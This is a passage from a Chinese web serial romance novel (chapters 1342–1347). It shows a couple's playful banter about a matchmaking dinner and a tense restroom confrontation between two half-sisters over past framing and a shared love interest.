温栩栩没有说话,只是静静地靠在他的怀里,感受着他的体温,感受着他的心跳。 温栩栩其实是心虚的,但是就这么突然的被黎云笙捞过来欺负亲吻什么的,还不能让她支棱一下吗,谁让黎云笙吓唬她的,哼。 但此刻温栩栩被黎云笙紧紧搂抱着,鼻息间满是他熟悉的气息,胸口微微起伏,呼吸愈发不畅,带着点被亲吻后的微喘。 她无力地靠在黎云笙怀里,脸颊染上一层薄薄的红晕,她睫毛轻颤,还未从那缠绵的吻中完全回神,耳边却传来男人低沉磁性的嗓音,带着几分戏谑与危险,轻轻在耳畔炸开:“正在拍戏?嗯?”那声音低低沉沉,带着一丝笑意,却让温栩栩瞬间炸毛。 温栩栩一时语塞,瞪圆了眼睛,心里暗骂:小心眼儿! 她却不敢明面上反驳,只能在心里偷偷腹诽。 她双手环上黎云笙的脖子,指尖轻轻地在他颈后摩挲,眼底带着点讨好的笑意,像只察觉到自己犯错后,急于讨好主人的小猫,凑过去用脸颊蹭了蹭他坚硬的下颌,带着几分撒娇的意味,软软糯糯地开口解释道:“我就是跟墨澜打赌赌输了嘛。” 她的声音软糯,带着一丝鼻音,像是浸了蜜糖,让人听了骨头都发酥。 黎云笙低头,目光深邃地看着怀里的女人,听着她的解释,手指却在她腰间不轻不重地收紧了些,示意她继续说。 温栩栩被他盯得有些心虚,眼神闪烁,不敢直视他那双仿佛能洞悉一切的眼睛,只好继续解释:“我们比赛背台词,结果墨澜耍赖,故意比的是三天后新改过的台词,我当然输了。输了比赛所以就只能来陪墨澜参加下拍卖会,顺便陪他见一见他的相亲对象啊。” 她一边说,一边偷偷观察黎云笙的脸色,试图从他脸上找出一丝情绪波动。 “你输了比赛?陪他去见相亲对象?”黎云笙都要被温栩栩这话气笑了。 他的声音里带着一丝压抑的怒意,还有几分咬牙切齿。 什么异性才有资格陪自己去见相亲对象? 家人或者爱人。 那温栩栩是墨澜的家人吗?当然不是,那她的身份就只能是陪同的爱人了。 他盯着温栩栩,目光灼灼,仿佛要将她看穿。 温栩栩被他盯得更加心虚,她下意识地揉了揉自己的头发,眼神飘忽不定,就是不去对上他的眼睛。 显然,温栩栩心里也是清楚的,自己这行为,怎么看怎么有些暧昧不清,容易让人误会。 她撇撇嘴,好一会儿,才有点理直气壮地开口道:“那有什么办法嘛,只有我这么好看才能让对方知难而退的啊!”她说到最后,甚至挺了挺胸,一副骄傲的小孔雀模样,似乎对自己的美貌极为自信。 黎云笙看着她这副模样,实在没忍住,伸出骨节分明的手,捏了捏她小巧挺翘的鼻子,语气里带着一丝无奈和宠溺,又夹杂着几分威胁:“嗯,你好看。可你有没有想过,对方家室比你好,如果对方用家室来侮辱你呢?你打算怎么应对?” 温栩栩不服气地哼了一声,仰起小脸,理直气壮地反驳道:“那我哥哥还是黎云笙和韩城呢,说的谁比不过她似的。”她这话一出,带着几分孩子气的骄纵,仿佛在说,我有靠山,我才不怕。 黎云笙听到这话,先是顿了一下,随即危险地眯了眯眼,眼底的笑意加深,却带着一丝凌厉。 他大手毫不客气地揉捏着她腰间的软肉,指腹下的触感让他眸色暗了暗,凉笑一声,语气里带着几分危险的试探:“我是你哥哥?”他故意咬重了“哥哥”两个字,尾音微微上扬。 话音未落,他低头,再次精准地捕捉住她的唇。 这一次的吻,比之前更加凶猛,更加具有侵略性。 他的舌尖强势地撬开她的贝齿,带着不容抗拒的力道,在她的口腔里肆意掠夺,辗转反侧。 第1342章 情哥哥也是哥哥 黎云笙的手臂紧紧地箍着她的腰,将她整个人都揉进自己的怀里,让她无法逃离这密不透风的亲吻。 温栩栩被他吻得几乎要窒息,只能被动地承受着他的热情,双手紧紧地揪着他的衣领,指节都泛了白。她的呼吸全数交到他的唇齿之间,脑海里一片空白,只剩下黎云笙的味道和他身上那股让人沉沦的气息。 他的吻带着惩罚的意味,却又在凶狠中夹杂着一丝难以言喻的温柔,让她沉沦其中,无法自拔。 不知过了多久,黎云笙才终于稍稍退开,他额头抵着她的额头,呼吸同样有些粗重,喑哑的声音在她耳边低语,带着一丝灼热的气息和浓浓的戏谑:“嗯?哥哥也会这样亲你吗,好妹妹?”他故意在“哥哥”和“亲”字上加重了语气,温热的气息喷洒在她的耳廓,让她浑身都起了一层细密的战栗。 温栩栩的脸颊红得快要滴出血来,她下意识地在他怀里蹭了蹭,像只被惹恼了的小兽,发出一声不满的哼哼。 她声音软绵绵的,带着浓重的鼻音和撒娇的意味,理直气壮地狡辩道:“情哥哥也是哥哥嘛,我也没说错啊,对吧,阿笙哥哥?”她故意拖长了语调,将“阿笙哥哥”四个字叫得又软又糯,尾音微微上扬,带着一丝勾人的媚意,像羽毛一样轻轻搔刮着黎云笙的心。 黎云笙被她这声“阿笙哥哥”叫得心头一荡,捏着她腰的手又紧了几分。 他看着她那双水光潋滟的眸子,里面盛满了无辜和狡黠,还有一丝刻意的讨好,心中既是无奈又是好笑。 他再次低头,薄唇在她耳边厮磨,声音低沉而沙哑,带着一丝危险的诱哄:“情哥哥?嗯?那你说说,你有几个情哥哥?除了我,还有谁?” 温栩栩感觉腰间又是一阵发麻,她微微挣扎了一下,却被他抱得更紧。 她凑过去,用额头轻轻撞了撞他的下巴,声音软糯得能滴出水来:“不过,阿笙哥哥你当然是最好的独一无二的,谁都比不上。” 黎云笙被她这番话哄得心情大好,嘴角忍不住微微上扬。 他再次低头,含住她微肿的唇瓣,这次的吻温柔了许多,带着一丝安抚和缠绵。 温栩栩这次没有再挣扎,而是顺从地搂紧了他的脖子,踮起脚尖,主动地回应着他的吻。 温栩栩一向是最会哄黎云笙的,她仿佛天生就懂得怎么拿捏他的情绪。就如此刻,只消几句软糯的撒娇,带着点狡黠和讨好的眼神,再配上她那副小猫般无辜的模样,黎云笙那点因“相亲对象”而起的不悦,便如同春雪遇阳,迅速消融,只剩下一腔被哄顺的无奈和宠溺。 情哥哥什么的,这称呼确实是犯规了。 黎云笙承认,自己被这带着暧昧的亲昵彻底取悦了。 那三个字从她嘴里说出来,仿佛带着电流,酥酥麻麻地窜遍他的全身,让他所有的防备和醋意都瞬间溃不成军。他甚至能清晰地感觉到,自己的嘴角不受控制地上扬,眼底的笑意再也藏不住。 不过,黎云笙到底是黎云笙,他很快便从那阵愉悦中找回一丝理智。 他挑了挑眉,带着几分故意的促狭,低下头在温栩栩耳边问道:“那韩城不也是你的哥哥?” 温栩栩正沉浸在自己成功哄好黎云笙的得意中,突然听到这个名字,她先是一愣,随即一双水眸瞪得溜圆,满眼都是“你是不是有病”的控诉。 她故作生气地拧了拧黎云笙,声音里带着浓浓的鼻音和委屈,语速飞快地质问道:“我们两个亲热的时候你为什么突然要提其它男人?韩城能跟我是什么关系你不清楚吗?还问,你这个时候还提韩城我都要怀疑你是不是对韩城别有用心了,有别的心思了!” 她顿了顿,仿佛觉得自己的逻辑天衣无缝,又加重了语气,理直气壮地补刀:“你说你是不是不喜欢我喜欢韩城了?” 黎云笙:“……” 他被这番无厘头的逻辑绕得有些头晕,随即又好气又好笑。 这算什么? 这绝对是无理取闹,故意找茬! 他和韩城认识多少年了,温栩栩又不是不知道,那家伙是什么样的人,温栩栩更是清楚。 韩城是男的,他喜欢什么韩城? 黎云笙在心里默默翻了个白眼,只觉得又好气又好笑。 他低头看着怀里这个睁着无辜大眼睛、却满嘴歪理的小女人,实在有些无奈,只能被她气笑了。 他伸手捏了捏她气鼓鼓的脸颊,带着几分无可奈何的宠溺,问道:“你又胡闹是不是?” 温栩栩依旧维持着那副理不直气也壮的模样,下巴微抬,眼神却有些飘忽,显然是知道自己在无理取闹,但就是不肯承认。 她搂紧了黎云笙的脖子,将自己整个人都挂在他身上,声音软糯糯地,带着一丝心安理得:“那我不跟你胡闹还能跟谁胡闹。” 这话说得,仿佛黎云笙就是她专属的出气筒和情绪垃圾桶,她所有的任性、无理和小脾气,都只配对他展现。 黎云笙听了,非但没有生气,反而觉得心里一片柔软。 是啊,这倒也是。 毕竟是他的人,是他放在心尖上宠着的小猫,自然也只能跟他胡闹。 总不能放自己家小猫出去胡乱挠人。 他心里的那点不快彻底烟消云散,只剩下满心的温柔和无奈。 他伸手揉了揉她柔软的发丝,动作轻柔,像是在安抚一只炸毛的小猫。 “现在已经被我发现了,”他放缓了声音,带着一丝不容置喙的强势,“你还打算去陪墨澜参加那什么相亲饭局?” 这才是问题的关键。 温栩栩听到这话,脸上的得意和撒娇瞬间凝固了。 她歪了歪头,眉头轻蹙,似乎在认真思考该怎么回应他。 她总不能说,她就是想去,想看看热闹吧?那样黎云笙肯定会不高兴的。可是如果直接说不去了,又显得自己很没立场,而且……她其实真的有点好奇墨澜的相亲对象会是什么样的人。 第1343章 也太缺德了 温栩栩一时语塞,眼神飘忽,不知道该怎么回答才好,只能用手指绕着黎云笙胸前的衣扣,假装在思考。 黎云笙见她这副模样,哪里还不明白她心里的小九九。他轻笑一声,胸腔发出一阵低沉的共鸣。 他低头,薄唇几乎要贴上她的耳廓,声音里带着一丝神秘和蛊惑:“其实,想毁掉这相亲宴,也不是多难的事。” 温栩栩一听,顿时来了精神,眼睛亮晶晶的,像只等待投喂的小松鼠,立刻洗耳恭听,连绕着衣扣的手指都停了下来。 黎云笙看着她这副好奇宝宝的样子,眼底的笑意更深。他故作高深地顿了顿,才缓缓道来:“很简单,把饭局上面的饭菜,全都换成折耳根和香菜就好了。”他说到这里,还煞有介事地补充道:“如果你觉得不满意,还可以再加上臭豆腐。” 温栩栩:“……” 温栩栩:“?” 她脸上的表情瞬间从好奇变成了错愕,紧接着是难以置信。 她的眼睛瞪得溜圆,仿佛听到了什么天方夜谭。 她甚至下意识地往后仰了仰,想看看黎云笙是不是在跟她开玩笑。 不是吧? 这是什么品种的魔鬼! 谁家好人给自己相亲对象吃这玩意儿的? 折耳根那股子独特的苦涩味,香菜那两极分化的争议,再加上臭豆腐那独步天下的“香气”,这三样东西组合在一起,简直就是生化武器级别的灾难! 温栩栩甚至能想象到,那位素未谋面的相亲对象,在满桌“黑暗料理”面前,从期待到错愕,再到崩溃的全过程。 黎云笙却不觉得有什么,他甚至对自己的这个“天才”想法感到很满意。 他看着温栩栩震惊的表情,反而觉得有趣,故意挑了挑眉,带着一丝得意和询问:“你就说,气不气人吧。” 温栩栩:“……” 气死人了好吗! 她心里疯狂地呐喊,脸上却只能做出一副又好气又好笑的表情。 她忍不住伸出手指,戳了戳黎云笙的胸口:“黎云笙!你这也太缺德了吧!” 黎云笙耸了耸肩,一副“我都是为了你”的无辜模样:“不然呢?这不是墨澜想要的?” 温栩栩被他问得噎了一下。 她就是觉得黎云笙这个方法……太有创意,太不按常理出牌了。 她忍不住想象那个画面。 金碧辉煌的餐厅包间里,一位妆容精致、气质优雅的女士,满怀期待地打开菜单,却发现上面清一色的都是折耳根凉拌、香菜炒蛋、臭豆腐煲……她的表情,一定会很精彩吧? 温栩栩越想越觉得好笑,忍不住“噗嗤”一声笑了出来。 黎云笙见她笑了,便知道她心里已经认同了自己的方法。 他低头吻了吻她的额头,声音里带着一丝得意和促狭:“所以,还想去吗?” 温栩栩摇了摇头,又点了点头,最后又摇了摇头,表情十分纠结。 她看着黎云笙,眼底闪烁着狡黠的光:“其实……我倒也不是非去不可。但是,如果能亲眼看到墨澜相亲失败,尤其是以这种方式失败……好像也挺有看头的。” 看看吧,要不这俩人绝配的,真是损到一起去了。 …… 温栩栩和黎云笙尚未归来,许愿中途离席,去了洗手间补妆。 她站在洗手台前,清凉的水流从指间滑过,带走一丝宴会的燥热,也让她略显疲惫的心神稍稍沉淀。 她低头,目光平静地注视着手下流淌的水,思绪却有些飘远。 就在这时,她敏锐地察觉到身后光线的变化,一道人影悄无声息地出现在门口,然后缓缓向她靠近。 许愿的神经瞬间绷紧,她不动声色地放慢了动作,缓缓抬起头,视线透过明亮的镜面,精准地捕捉到了身后那人的身影。 是许宁。 镜中的许宁,正静静地站在那里,双手交叠在身前,一副标准的淑女姿态。 她那双眼睛,平日里总是刻意带着几分疏离与冷漠,此刻却正一瞬不瞬地盯着镜中的许愿。那目光复杂难辨,有审视,有嫉妒,还有一丝不易察觉的怨毒。 然而,当她意识到许愿已经从镜中看到了自己,那冰冷的眼神如同被阳光照射的寒冰,瞬间消融,转而浮现出一种刻意的、装出来的讨好笑意。 那笑容牵动着她的嘴角,却丝毫未达眼底,显得虚假而僵硬。 许愿的瞳孔微不可察地一缩,心中泛起一阵强烈的不适。 她觉得恶心。 这恶心并非源于生理,而是源于灵魂深处对这种虚伪的厌恶。 她太了解许宁了,这个名义上的“妹妹”,从小到大,对方眼底那毫不掩饰的嫉妒和厌恶,她又怎么会感受不到? 如今这副惺惺作态的模样,只会让她觉得更加讽刺。 她收回目光,不再去看镜中那张虚假的脸,继续低头,不紧不慢地将手上的水珠甩落。 许宁见她不语,似乎有些按捺不住。 她又向前凑了几步,高跟鞋敲击地面的声音在空旷的洗手间里显得格外清晰。 她停在许愿身侧,保持着一个看似亲密却又不失分寸的距离,甜甜地开口,声音里带着一丝刻意模仿的亲昵:“姐姐。” 这两个字,从她口中说出,却像是裹了蜜糖的毒药,甜得发腻,又让人浑身不舒服。 许愿终于再次抬眸,这次,她的目光没有再透过镜子,而是直接转向身旁的许宁。 她的眼神平静无波,却像是一面镜子,清晰地映照出许宁所有伪装下的不堪。 她语气淡漠,不带一丝情绪,一字一句清晰地说道:“你不必装出这副跟我姐妹情深的模样。”她顿了顿,目光锐利了几分,直击对方内心最不愿示人的角落,“你有多讨厌我,你自己心里是清楚的。” 这句话精准地剖开了许宁精心维持的假面。 她脸上的笑意瞬间凝固,像是被骤然按下的暂停键,那虚假的甜笑僵在嘴角,显得格外滑稽和可悲。 镜中映出的,是一张瞬间失色的脸,眼底的伪装被戳破后,露出了真实的慌乱和一丝被看穿的恼怒。 第1344章 演得久了连自己都相信了 许宁的手指在身侧微微蜷缩,指甲几乎要嵌进掌心。 她深吸一口气,似乎在极力压抑着内心的翻涌。片刻后,她再次尝试,伸出手,想要去拉许愿的手臂,仿佛要以此证明她们之间并不存在隔阂。 “姐姐,你听我说……”她的声音带着一丝不易察觉的颤抖,试图缓和这剑拔弩张的气氛。 然而,许愿的动作比她更快,在许宁的手即将触碰到她衣袖的瞬间,许愿不着痕迹地侧身一步躲开,带着一种拒人于千里之外的坚决。水珠顺着她的指尖滴落,仿佛也滴碎了许宁最后的伪装。 许宁伸出的手尴尬地停在半空,空气仿佛凝固了。 她脸上的表情彻底僵住,那刻意维持的甜美与亲昵荡然无存,只剩下一片难堪的苍白。 她僵硬地扯了扯唇角,那笑容比哭还要难看,声音也失去了之前的甜腻,变得有些干涩和尖锐:“姐姐,你怎么这么说我呢?我……我哪里有讨厌你?我明明一直都很尊重你,把你当亲姐姐一样看待的。” 她的辩解苍白无力,在许愿那洞悉一切的目光下,显得如此可笑。 许愿没有立刻回应,她再次打开水龙头,仔细地将手冲洗了一遍,然后抽出纸巾,慢条斯理地擦拭着。直到将最后一滴水擦干,她才将用过的纸巾丢进垃圾桶。 她这才转过身,正面对着许宁。 灯光下,她的面容显得格外清晰,眼神平静而坚定,但眼底的嘲讽却很明显, 她看着许宁,一字一句,声音不大,却清晰地传入对方耳中:“尊重?亲姐姐?”她轻轻地重复了一遍,语气里带着一丝不易察觉的嘲讽,“许宁,你觉得,你演给谁看呢?还是说,你演得久了,连自己都相信了?” 许愿和许宁之间,说到底,只能算是有一个共同的父亲。 许愿,是许家真正的嫡女,血脉纯正,身份受法律保护,是许家名正言顺的继承人。 而许宁,则是许镇江在背叛婚姻后,与别的女人生下的私生女。她的存在,像是一道无法抹去的污点,刻在许家的族谱上,也刻在许愿和许镇江的关系之间。 最初,许愿对许宁并没有太多厌恶。不是因为天真,而是因为许愿的心,太柔软。 她太容易共情女性,或者说,她太喜欢、太欣赏女性。 在她看来,不是所有的不幸都该由个人来承担,尤其是出身。她始终坚信,人没办法选择自己的出生,有些人的出生,绝非原罪。 所以,在许宁刚刚被许镇江接回许家时,许愿甚至对许宁抱有一丝同情。 她想,许宁也是受害者。她是在完全没办法选择的时候,就成为了私生女,降生在这个世道。 世人的眼光苛刻,对私生子女尤为残酷,很多人潜意识里就把“原罪”的标签贴在他们身上。许愿每每想到这里,内心总会生出怜悯,她很轻易就能代入到对方的处境。 她有时候会想,如果自己是许宁,从小背负着私生女的罪名,被排斥,被冷落,被外人指点,真的能够忍受吗? 答案是否定的。 她无法想象,那种孤立无援、渴望被认可却始终被排斥的痛苦。 所以,许愿最初是带着善意的。 她甚至试图理解许宁,去包容她,认为只要自己以真心待她,哪怕没有血缘,也能在同一个屋檐下和平共处。 她愿意给许宁一个机会,也给自己一个机会。 可真正接触到许宁后,许愿才深刻体会到,怪不得有一句古话说:“龙生龙,凤生凤,老鼠的儿子会打洞。”这话并不是无的放矢。 因为有些人,似乎真的是天生的坏种,骨子里就流淌着卑劣的基因,将父母的阴暗与自私尽数遗传。 许宁是什么样的人? 虚伪、自大、卑劣、自私、恶毒。 她满腹心机,却偏偏没有与之匹配的智商,总把算计挂在脸上,把恶意写进眼神。她擅长表演,擅长装可怜,更擅长将自己伪装成无辜者,去博取同情,去陷害他人。 她所做的一切,不是为了融入,而是为了争夺、为了压制、为了证明自己比许愿强。 最开始,许镇江将许宁接回家的时候,许愿还是真诚地欢迎她的。她主动为许宁准备房间,为她添置衣物,甚至在父亲面前为她说好话,希望这个家能够接纳她。 许愿以为,只要自己付出善意,许宁总有一天会被感化。 然而,许宁没有。 她不仅没有领情,反而将许愿的善意视为软弱,视为可以利用的工具。她开始明里暗里地设计许愿,用尽卑劣的手段,只为在许镇江面前抹黑她、排挤她。 最严重的一次,是许宁故意在自己的房间放了蛇,然后哭着告诉许镇江,是许愿嫉妒她,故意吓唬她。甚至,她还将许愿珍爱的一件旗袍剪得粉碎,却反过来栽赃陷害,说许愿嫉妒她的新衣服,故意报复。 这些拙劣的把戏,许镇江竟然都信了。 他对许愿本就薄弱的父爱,也因此愈发稀薄,几乎消失殆尽。 许愿怎么能不懂许宁的小心思?她太懂了,正因为懂,才会愈发厌恶。 许宁明面上总是甜甜地叫她“姐姐”,可那声音里没有半分真心,只有算计和嘲讽。 她心里真的把许愿当姐姐吗?根本没有。 许宁在意的,是许愿许家嫡女的身份,是许愿所拥有的一切,财富、地位、宠爱。 她只想和许愿比较,然后用尽一切手段将许愿踩在脚下,将她拥有的东西全部夺走。 从一开始,许宁就没想着跟许愿和平共处。 她要的,是彻底的取代和毁灭。 洗手间内,两人对峙的气氛愈发紧张。 许愿擦干手,转身面对许宁,目光如冰。 “许宁,”许愿语气平静,却带着不容置疑的锋利,“你以为,你那些小把戏,我真的看不出来吗?” 许宁脸上的假笑彻底僵住,她的眼神闪过一丝慌乱,随即又强装镇定:“姐姐,你在说什么?我听不懂。” 第1345章 在看一个笑话 “听不懂?”许愿轻笑一声,声音里满是讽刺,“那我问你,那条蛇,是谁放进你房间的?我的旗袍,又是谁剪碎的?你真的以为我是蠢货吗?” 许宁脸色一白,下意识后退一步,声音带着颤音:“你……你血口喷人!我没有!你不要诬陷我!” 许愿看着她,眼神里没有愤怒,只有平静:“我没有诬陷你,我是在陈述事实。你做过的每一件事,我都一清二楚。只是我不想拆穿你,因为我觉得,你或许还有救。可现在看来,有些人,骨子里就是坏的,无论怎么救,都不会改变。” 许宁被她的目光看得发毛,强撑着辩解:“你凭什么这么说我?你有什么证据?你就是看我不顺眼,故意针对我!” 许愿摇了摇头,语气冷淡:“证据?你真的需要证据吗?许宁,我不是傻子,许镇江也不是。他只是不愿意面对现实,不愿意承认自己养了一个什么样的女儿。你的一切,都是偷来的,包括你现在站在这里的位置。” 许宁终于忍不住,尖声叫道:“我偷什么了?我什么都没偷!我是爸爸的女儿,我有资格站在这里!你凭什么看不起我?” “我凭什么?”许愿冷笑,“就凭你的心机,就凭你的手段,就凭你卑劣。许宁,我不是看不起你,我是厌恶你。我最初同情你,因为我为你是受害者。可你让我明白,有些人,不是因为出身而可怜,而是因为本性而可悲。”许宁的脸色一阵青一阵白,她死死地盯着许愿, 眼底的怨毒再也无法掩饰:“你有什么了不起?你不过就是仗着自己是嫡女,有什么资格对我指手画脚?我要让你失去一切,我要让你尝尝被所有人抛弃的滋味!” 许愿却很轻很轻的笑了一声,许宁被她这笑声刺激到,眼神愈发狠戾,她死死盯着许愿:“你在笑什么!” 许愿歪头看她,眼底的讽意都快要漫出来了。 “我在看一个笑话,你自己不清楚吗?” 笑话是谁,是许宁啊。 许宁的脸色一阵青一阵白,她张了张嘴,似乎想反驳,却发现自己根本找不到任何借口。 许愿的话像是一记重锤,狠狠地砸在她的心上,将她所有的伪装和借口都砸得粉碎。 她的确讨厌许愿,非常讨厌。讨厌她的从容,讨厌她的优秀,更讨厌她明明什么都有了,却还要占据着本该属于她的那份关注和宠爱。 洗手间内的空气仿佛都凝滞了,只剩下两人之间无声的对峙。 “许愿,你不要太过分了……”许宁的声音颤抖着,带着无法掩饰的怒意和委屈。 她死死盯着许愿,眼中几乎要喷出火来,却又夹杂着一丝被戳穿后的慌乱与无措。 她攥紧了拳头,指尖深深陷入掌心,试图用疼痛来维持自己最后的体面。 此刻的她,像是被逼到墙角的困兽,愤怒又无力。 许愿还是那副神情淡漠的模样,仿佛许宁的激动在她眼中不过是无关紧要的闹剧。她微微偏过头,像是在看一件毫无趣味的物品,片刻后才哼笑一声,那笑声轻飘飘的,却带着刺骨的寒意,像细针扎进人的神经。 许愿不疾不徐地上下打量许宁,目光从许宁的发梢缓缓滑落,停在她身上那件精心挑选的礼服上。许愿的眼尾微微上扬,那可不是在欣赏,明显是带着讽意,带着一种高高在上的、贵族对冒牌货的轻蔑。 许愿在嘲讽什么? 许宁当然心里清楚许愿在嘲讽什么。 许愿的目光剖开了她所有的伪装和努力。 许宁今天特意穿了傅京礼送的这身礼服,她以为这样能拉近与那个圈子的距离,能让自己看起来不那么格格不入,甚至能与这些千金一较高下甚至是直接碾压这些千金小姐。 可结果呢? 最后被碾压的只是许宁自己。 没有人因为许宁穿了一件昂贵的礼服就会尊重她。 “知道你穿上这身礼服像什么吗?”许愿语气平静道,声音不大,却清晰地传入许宁的耳中,“像贵族小姐的女仆偷穿了对方的衣服,不伦不类。”许愿的嘴角勾起一抹冰冷的弧度。 许宁的身体瞬间僵住,随即不可抑制地发抖起来。她感到一股热血冲上头顶,脸颊烧得滚烫,屈辱和愤怒交织在一起,几乎要将她吞噬。她当然知道许愿是在嘲讽自己和温栩栩穿同样礼服的对比。 对,温栩栩是漂亮,是耀眼,是天生的主角,她许宁或许不如温栩栩,可也没有许愿说的这样不伦不类! 她付出了那么多努力,忍受了那么多冷眼,就是为了证明自己,就是为了不被看轻!可到头来,在许愿眼中,她依旧是个笑话,是个可悲的模仿者。 许宁想,许愿其实就是故意的要奚落自己,她根本就是瞧不起自己,从骨子里就瞧不起她这个私生女,无论她做什么,在许愿眼里都是错的,都是可笑的。 就是这样! 许愿就是要让她难堪,就是要让她知道自己永远都只是个见不得光的私生女,永远都只能活在她的阴影之下! 许宁恨恨地咬牙,牙齿几乎要咬碎,此刻她死死地盯着许愿,眼神里充满了怨毒和不甘。 “许愿,你不要太过分了!” 她想让许愿不要太过分,声音里带着一丝哭腔,像是在哀求,又像是在做最后的挣扎。 许愿又开始笑起来了。 她的笑声比之前更清晰,带着一丝玩味和轻蔑,仿佛许宁的愤怒在她看来不过是跳梁小丑的表演。 “原来你也知道什么是‘过分’呢?”许愿的声音缓缓响起,一字一句,“怎么你自己做了那么多过分的事情却不知道呢?我只是说你几句,你就觉得过分了,那你做的那些事难道就不过分吗?” 许宁的眼神瞬间闪烁起来,有片刻恍惚。许愿的话像是一根尖锐的针,刺破了她强撑的外壳。 她做的那些事? 故意设计许愿,栽赃陷害,在父亲面前搬弄是非…… 那些画面不受控制地浮现在脑海。 第1346章 就是想抢她东西 她以为自己做得天衣无缝,她以为没人知道,可许愿却如此轻易地揭穿了她,用如此平静的语气,将她的不堪暴露无遗。 “你……你胡说!”许宁的声音带着颤抖,色厉内荏地反驳,却显得苍白无力。 她想维持自己的骄傲,想反驳许愿的指责,却发现自己的底气早已在许愿那洞悉一切的目光下消磨殆尽。 许宁显示恍惚了一瞬,那双原本闪烁着不甘和怨毒的眼眸,像被风吹皱的湖面,微微荡漾着迷茫。 她怔怔地望着镜中的自己,又仿佛穿透镜面,看见了那些被许愿毫不留情揭穿的狼狈过往。 空气凝固了片刻,只有许愿转身欲离的高跟鞋声,在寂静的洗手间里很是明显刺耳。 突然,一阵咯咯的笑声毫无预兆地响起,打破了这令人窒息的沉默。 许宁笑了,起初是压抑的低笑,随后笑声越来越大,变得癫狂而尖锐,回荡在狭小的空间里,带着一丝歇斯底里的挑衅。 她的眼中不再有半分刚才的失措,反而燃起一种近乎疯狂的火焰,直勾勾地盯着许愿的背影,仿佛要将她洞穿。 许愿的脚步停住了。 她缓缓转过身,眉头微蹙,看着眼前这个突然失态的妹妹。 那笑声在她听来,不是自信的张扬,反而更像是困兽最后的嘶鸣,带着一种强装出来的无畏。 她的眼神依旧平静,仿佛在看一场与己无关的闹剧,只是那微微收紧的下颌,泄露了她内心的一丝波动。 许宁的笑声终于渐渐收敛,只剩下嘴角一抹冰冷而得意的弧度。 她抹了抹眼角笑出的泪花,眼神像淬了毒的蛇,带着一种“我已看穿你所有秘密”的傲慢,冷冷地开口道:“许愿,你这么针对我,是因为看到我跟傅京礼一起了,对吗?” 许愿的瞳孔几不可察地缩了一下,但脸上依旧维持着那副波澜不惊的淡漠。 许宁见状,心中那份“胜券在握”的感觉更加强烈了。 她向前逼近一步,声音里带着毫不掩饰的嘲弄和试探:“你喜欢傅京礼,对不对?因为看到我是傅京礼的女伴,所以你才会这样奚落我,嘲讽我,对吗?你就是故意的,想要贬低我,只不过是因为你嫉妒我,嫉妒我是傅京礼的女伴!”她一字一顿,像是在宣布一个惊天的秘密,“你藏着什么心思,我现在已经看透了。许愿,你喜欢傅京礼的事情,我早就知道了。” 许宁的语速越来越快,声音也越来越尖利,仿佛要将刚才所受的所有屈辱,都通过这个“秘密”加倍奉还给许愿。 她的眼神死死地锁定许愿,企图从对方那张毫无表情的脸上,捕捉到一丝慌乱、一丝窘迫,甚至是愤怒。 然而,许愿的反应却大大出乎她的意料。 面对许宁的步步紧逼和咄咄质问,许愿只是静静地站在那里,面色如常,仿佛许宁口中那个“喜欢傅京礼”的人,与她毫无关系。 她甚至微微挑了挑眉,像是在听一个与己无关的八卦,眼神里没有愤怒,没有羞恼,只有一种深不见底的平静。 这份平静,在许宁看来,却比任何激烈的反驳都更具挑衅性。 她的心中莫名升起一股焦躁,一种“拳头打在棉花上”的无力感。 她觉得许愿一定是在演戏,一定是在强装镇定! 没有人能在自己的秘密被当众揭穿时,还能如此面不改色。 “怎么?被我说中了,无话可说了?”许宁不甘心地继续挑衅,声音里带着一丝尖刻的笑意,“你以为你藏得很好?别自欺欺人了。我早就看穿你了。” 许愿终于开口了,她的声音依旧平静,听不出丝毫波澜:“哦?你看到了什么?说来听听。” 她的语气太过淡然,仿佛在讨论今天的天气。这反而让许宁更加不淡定。 她深吸一口气,像是要揭开最后的底牌,带着一种胜利者的姿态,缓缓说道:“你别忘了,我刚到许家的时候,曾经‘无意间’去过你的房间。你那间锁得严严实实的闺房,也没什么特别的,除了那些名贵的珠宝和礼服……”她故意顿了顿,观察着许愿的反应,却发现对方依旧面无表情,这让她有些挫败,但还是继续说了下去。 “……我还看到了很多有关于傅京礼的东西,”许宁的声音压低了一些,带着一丝神秘和得意,“甚至很多是傅京礼的照片,你偷偷收藏的。如果不是喜欢,你为什么要留着傅京礼的东西?你当我是傻子吗?” 她一边说,一边细致地回忆着当时的情景,试图用细节来击溃许愿的伪装:“我还看到过你写的日记,许愿。那本藏在书桌最底层抽屉里的日记本,上面的字迹清秀工整,写满了关于傅京礼的一切。哪一天他穿了什么衣服,说了什么话,甚至是你臆想中和他的对话,全都写在里面。如果不是深爱,怎么会如此细致?” 许宁说到激动处,声音微微发颤,眼神里充满了报复的快感:“就是因为我知道你喜欢傅京礼,所以,我才故意用尽手段接近了他。一方面,傅京礼的身份确实对我有帮助,但更重要的一方面,”她顿了顿,目光如刀,直刺许愿,“我是想报复你,想让你知道,你爱着的人,最终会成为我的男人。这种感觉,是不是很难受?看着自己喜欢的人,站在别的女人身边,而那个女人,还是你最讨厌的妹妹。” 她紧紧地盯着许愿,期待着看到对方脸上出现崩溃、嫉妒、愤怒的表情。 然而,许愿的脸上依旧是一片平静,那双深邃的眼眸里,甚至闪过一丝难以捉摸的怜悯。 许愿的反应,让许宁有些慌了。 她以为自己揭穿了对方最脆弱的秘密,会看到许愿失态、哭泣,甚至是歇斯底里地咆哮。 可对方的冷静,像是一盆冷水,从头浇到脚,让她所有的得意和报复感,都变得可笑起来。 第1347章 为了傅京礼,放弃了多少 “怎么?你不相信?”许宁的声音有些尖利,带着一丝不易察觉的慌乱,“你装,你继续装!我看你能装到什么时候!” 许愿眼神里没有愤怒,只有一种看透世事的淡漠:“你喜欢用你那点狭隘的心思,去揣度别人。你以为你偷看了我的日记,看到了几张照片,就了解了我全部的心思?” 许愿的嘴角勾起一抹若有若无的笑意,那笑容里带着一丝嘲讽:“你为了接近傅京礼,用尽手段,你真以为我会因此拒绝你?” 她轻轻地摇了摇头,语气平静:“我不会嫉妒你,我只会认为你可笑。” 许宁以为自己掌握了制胜的法宝,却发现自己引以为傲的“秘密武器”,在对方眼里,不过是不值一提的儿戏。 “你嫉妒我,所以你用尽手段抢走我身边的一切,包括傅京礼。你以为这样就能伤害到我?”许愿的声音仍然是平静的“可你有没有想过,你拼命想要抢走的东西,或许我根本不在乎?” 许宁的脸色变得一阵青一阵白,她死死地咬着嘴唇,指甲再次陷入掌心。 她无法接受许愿这种“事不关己”的态度,这比任何激烈的反驳都让她难受。 